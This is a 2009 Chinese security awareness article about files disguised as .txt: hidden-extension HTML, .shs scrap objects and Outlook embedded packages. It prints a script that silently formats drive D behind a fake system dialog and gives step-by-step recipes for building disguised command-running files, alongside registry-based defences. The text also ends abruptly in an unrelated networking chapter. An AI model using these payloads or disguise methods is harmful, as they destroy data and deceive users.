警惕“TXT”文件威胁

日期: 2009-06-02 来源:TechTarget中国 英文

  什么,txt文件也有危险?是的!txt文件不仅有危险,而且可能非常危险!不过,严格说来,应该给这个所谓的“txt”文件加个引号,因为它们是看起来是txt文件,实则是隐藏了真实扩展名的其它文件,但在普通人看来它们的确是“txt”文件!下面就让我们一起来认清这些“披着羊皮的狼”。

  (一)隐藏HTML扩展名的TXT文件

  假如你收到的邮件附件中有一个看起来是这样的文件:QQ靓号放送.txt,你是不是认为它肯定是纯文本文件?不一定!它的实际文件名可以是QQ靓号放送.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}。{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}在注册表里是HTML文件关联的意思。但是存成文件名的时候它并不会显现出来,你看到的就是个.txt文件,这个文件实际上等同于QQ靓号放送.txt.html。那么直接打开这个文件为什么有危险呢?下面就让我们来看看原因吧!如果这个文件的内容如下:

  <script>
  a=new ActiveXObject(“WSCript.Shell”);
  a.run(“format.com d:/q /autotest /u”);
  alert(“Windows is configuring the system. Please do not interrupt thisprocess.”);</script>

  你可能以为它会调用记事本来运行,可是如果你双击它,结果它却调用了HTML来运行,并且自动在后台开始格式化D盘,同时显示“Windows is configuring the system。Plase do not interrupt this process.”这样一个对话框来欺骗你。你看,随意打开附件中的.txt的危险够大了吧?

  欺骗实现原理:当你双击这个伪装起来的.txt时候,由于真正文件扩展名是.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B},也就是.HTML文件,于是就会以html文件的形式运行,这是它能运行起来的先决条件。

  文件内容中的第二和第三行是它能够产生破坏作用的关键所在。其中第三行是破坏行动的执行者,在其中可以加载带有破坏性质的命令。那么第二行又是干什么的呢?你可能已经注意到了第二行里的“WSCript”,对!就是它导演了全幕,它是幕后主谋!

  WScript全称Windows Scripting Host,它是Windows 98中新加进的功能,是一种批次语言/自动执行工具——它所对应的程序“WScript.exe”是一个脚本语言解释器,位于C:Windows目录下,正是它使得脚本可以被执行,就像执行批处理一样。在WindowsScripting Host脚本环境里,预定义了一些对象,通过它自带的几个内置对象,可以实现获取环境变量、创建快捷方式、加载程序、读写注册表等功能。

  识别及防范方法:

  • 这种带有欺骗性质的.txt文件显示出来的并不是文本文件的图标,它显示的是未定义文件类型的标志,这是区分它与正常txt文件的最好方法。
  • 识别的另一个办法是在“按Web页方式”查看时在“我的电脑”左面会显示出该文件名全称,此时可以看到它不是真正的txt文件。问题是很多初学者经验不够,老手也可能因为没留意而打开它,在这里再次提醒你,注意你收到的邮件中附件的文件名,不仅要看显示出来的扩展名,还要注意它实际显示的图标是什么。
  • 对于附件中别人发来的看起来是txt的文件,可以将它另存为后用鼠标右键选择“用记事本打开”这样看会很安全。
     

  (二)恶意碎片文件

  另一类可怕的txt文件是一种在Windows中被称作“碎片对象”(扩展名为“shs”)的文件,它一般被伪装成文本文件通过电子邮件附件来传播,比如:QQ号码放送.txt.shs,由于真正的后缀名“shs”不会显示出来,如果在该文件中含有诸如“Format”之类的命令将非常可怕!不仅如此,以下四点也是它具有一定危害性的原因所在:

  ●碎片对象文件的缺省图标是一个和记事本文件图标相类似的图标,很容易会被误认为是一些文本的文档,用户对它的警惕性不高。
  ●在Windows的默认状态下,“碎片对象”文件的扩展名(“.shs”)是隐藏的,即使你在“资源管理器”→“工具”→“文件夹选项”→“查看”中,不选择“隐藏已知文件类型的扩展名”,“.shs”也还是隐藏的,这是因为Windows支持双重扩展名,如QQ号码放送.txt.shs显示出来的名称永远是QQ号码放送.txt。
  ●即使有疑心,你用任何杀毒软件都不会找到这个文件的一点问题,因为这个文件本身就没有病毒,也不是可执行的,而且还是系统文件。你会怀疑这样的文件吗?
  ●这种shs附件病毒制造起来非常容易,5分钟就可以学会,也不需要编程知识。

  (1)具体实例

  那么,碎片对象到底对用户的计算机会造成什么威胁呢?下面我们一起来做个测试就明白了。以下测试是在Windows 2000中文版上进行的。我们先在硬盘上创建一个测试用的文件d:test.txt,然后我们来制作一个能删除这个测试文件的碎片对象文件。

  Step 1:先运行一个对象包装程序(packager.exe),该程序存放在Winntsystem32目录下;

  Step 2:新建一个文件后,打开菜单“文件”→“引入”,这时会弹出一个“引入”对话框,让你选择一个文件。不用考虑,随便选择一个文件就可以了。

  Step 3:选择“编辑”菜单中的“命令行”选项,在弹出的命令行输入对话框中输入“cmd.exe/c del d:test.txt”,单击“确定”按钮。

  Step 4:在“编辑”菜单中选择“复制包”命令。

  Step 5:进入任意目录并单击鼠标右键,从弹出的快捷菜单中选择“粘贴”命令,将前面创建的程序包复制下来。

  现在我们可以双击一下这个文件,CMD窗口一闪而过后,再到D盘看看,测试文件D:test.txt已经被删除了!现在你该知道了,当时在对象包装中输入的命令被执行了。好危险啊!如果这条命令是要删除系统中的一个重要文件,或者是格式化命令Format之类的危险命令,那该有多么可怕啊!

  下面让我们一起来看看这个“隐身杀手”的真正面目吧!

  (2)技术原理

  依照微软的解释,shs文件是一类特殊的OLE(Object Linking and Embedding,对象连接和嵌入)对象,可以由Word文档或Excel电子表格创建。通过选择文档中文本或图像的一块区域,然后拖放该区域到桌面上的某处,就可以创建一个Windows碎片对象,或称为SHS文件(此文件是不可读文件)。但是你可以用任何其它你想要的文件名重新命名shs文件,或者拖放shs对象到另一个文档(同样的,你可以剪切和粘贴)。

  也就是说,我们所输入的命令作为OLE对象嵌入到对象包装程序新建的文件中了,而微软为了能方便地将嵌入到文件的对象进行复制,使用了一种技术Shell ScrapObject(简称shs),就是说,当你在不同文件间复制对象时,Windows是将对象包装成一个碎片对象来进行复制的。因此,一旦我们不是在文件间进行复制粘贴,而是直接将碎片对象粘贴到硬盘上,就会产生一个.shs文件。这个碎片对象文件保存了原来对象所具备的功能,原来对象包含的命令同样会被解析执行,这正是其可怕之处!

  (3)防范方法

  ①“野蛮”法

  shs文件既然不是可执行文件,当然需要其他的程序来解析执行了,我们去掉解析执行的关联就可以简单防止这种文件中潜伏的威胁了。 运行注册表编辑器Regedit.exe,在[HKEY_CLASSES_ROOT.shs]主键下,将默认值ShellScrap删除,现在双击shs文件,看,不会执行了吧?弹出了一个对话框,让我们选择打开shs文件需要的程序,此时选择“记事本”程序看就非常安全了。 更彻底一点的办法是将[HKEY_CLASSES_ROOTShellScrapshellopencommand]下的打开shs文件的关联完全去掉,现在双击.shs文件,连选择运行程序的对话框也不出现了,它会直接要求在控制面板重建文件关联。

  ②“文明”法

  Step 1:在注册表编辑器[HEY_CLASSES_ROOTShellScrap]键下,有一个键值“NeverShowExt”,它是导致“.shs”文件扩展名无法显示的罪魁祸首。删除这个键值,你就可以看到“.shs”扩展名了。

  Step 2:更换“碎片对象”文件的默认图标。由于碎片对象文件的默认图标与文本文件图标非常相似,容易麻痹人,所以我们要更换它的图标。打开资源管理器,选择“工具”菜单下的“文件夹选框”,在弹出的对话框中切换至“文件类型”选项卡,在“已注册的文件类型”下找到并选中“碎片对象”。单击右下角“高级”按钮,在打开的“编辑文件类型”对话框中单击上边的“更改图标”按钮。打开C:WINNTsystem32shell32.dll,从出现的图标中选一个作为“.shs”文件的新图标即可(。


  (4)其他防治手段

  ①如果是病毒文件隐藏了真实扩展名“shs”,而你在反病毒软件中设置成扫描指定程序文件而不是扫描所有文件(如只扫描可执行文件),那么反病毒软件是无法发现病毒的,所以请在反病毒软件的指定程序文件中加入“.shs”文件的扫描。

  ②禁止“碎片对象”文件及“指向文档的快捷方式”文件。

  (三)改头换面的OutLook邮件附件

  除了上面所说的两类危险的“txt”文件,还存在另一种危险的“txt”文件——改头换面的OutLook邮件附件!即一个看起来是txt的文件其实是一个exe文件!下面以OutLook2000简体中文版为例进行详细说明。

  Step 1:开启OutLook2000,新建一个邮件,选择菜单栏中的“格式”→“带格式文本”,在邮件正文点击一下鼠标左键,选择菜单“插入”→“对象”,点击“由文件创建”→“浏览”,选择Windows目录下的notepad.exe,点击“确定”按钮,在新邮件的主体部分出现notepad.exe及其图标。

  Step 2:在刚出现的notepad.exe及其图标上点击鼠标右键,选择“编辑包”,打开对象包装程序,选择“插入图标”按钮,选择“浏览”,选择C:WINNTsystem32shell32.dll,在当前图标框中选择一个你想要的图标,比方说选择一个文本文件的图标,按“确定”,然后选择菜单“编辑”→“卷标”,任意定义一个名字,比如说hello.txt,点击“确定”按钮。

  Step 3:退出对象包装程序,在提示是否更新时选择“是”按钮。

  Step 4:现在出现在面前的是hello.txt,一般人会认为它是一个地地道道的文本文件附件,相信没有人怀疑它是别的东西。请你双击这个图标,看看会发生什么?是不是发现它打开的是notepad.exe!如果它是一个病毒文件,结果可想而知!

  事实上,当你用OutLook2000收到这样一个邮件时,它会显示这是一个带附件的邮件,当你以为它是一个文本文件附件双击打开时,OutLook会提示:“部分对象携带病毒,可能对你的计算机造成危害”,因此,请确保该对象来源可靠。是否相信该嵌入对象?安全观念强的人一般会选择“No”(这就对了),一般的人可能会选择Yes(你惨了!)。

  识别方法:不要怕,尽管它的迷惑性极大,但是仍然会露出一些马脚。

  ①它其实是一个OLE对象,并不是附件,选择它时,选择框会不同于选择附件的选择框。点鼠标右键出现的菜单不同;
  ②双击打开它时,安全提示与附件的安全提示不同,这点非常重要。这时,应该选择“No”,然后点击鼠标右键,选择“编辑包”,提示是否信任该对象时选择“Yes”,在对象包装程序的右边内容框中,它将现出原形。在本例中,会显示“notepad.exe的备份”,文件是否可执行,关键在这里。
  ③因为它不是附件,在选择“文件”→“保存附件”时并无对话框出现。
  ④由于并不是所有的邮件收发软件都支持对象嵌入,所以这类邮件的格式不一定被某些软件识别,如OutLook Express。但是OutLook的使用面很广,尤其是在比较大的、有自己mail服务器的公司,所以还是有必要提醒大家小心嵌入对象,不光是OutLook,其实Word、Excel等支持嵌入对象的软件也可以让嵌入对象改头换面迷惑人。

  对上面所说的三种txt文件你了解其可怕之处了吧?其实只要你足够小心,再加上适当的防范措施,就不会有危险了。

  必杀技之四:网络应用初步

  ——有没有搞错?拷贝一个1KB的文件到我的硬盘上,居然要我把硬盘拆卸下来?!
  ——没办法,软驱坏了!
  ——嗨!我说伙计,再帮我打印一下这个文件吧。
  ——不行,没看见正忙着吗?而且今天已经是第八次了,照这样下去,我这儿就要变成打印店了!

  唉!那两位老兄的运气实在不好,一切罪过都在于没有网络。如果他们的计算机联了网,那位要卸硬盘的老兄就不会再有此糟糕的念头,而那位找别人帮忙打印的老兄呢,也将会非常轻松地通过网络把文件传输到连接在网络上的打印机上打印出来,或许还在一边打印一边吹着口哨呢!

  看到这里,你一定明白了,原来有了网络之后,就可以共享文件、打印机等等,非常方便!不过我们这里所说的网络和Internet不一样,它是局域网,你可以把它理解为在一幢楼、一个公司、一个单位、一所学校、一个房间里建立起来的网络。

我们一直都在努力坚持原创.......请不要一声不吭,就悄悄拿走。

我原创,你原创,我们的内容世界才会更加精彩!

【所有原创内容版权均属TechTarget,欢迎大家转发分享。但未经授权,严禁任何媒体(平面媒体、网络媒体、自媒体等)以及微信公众号复制、转载、摘编或以其他方式进行使用。】

微信公众号

TechTarget微信公众号二维码

TechTarget

官方微博

TechTarget中国官方微博二维码

TechTarget中国

电子邮件地址不会被公开。 必填项已用*标注

敬请读者发表评论,本站保留删除与本文无关和不雅评论的权力。

相关推荐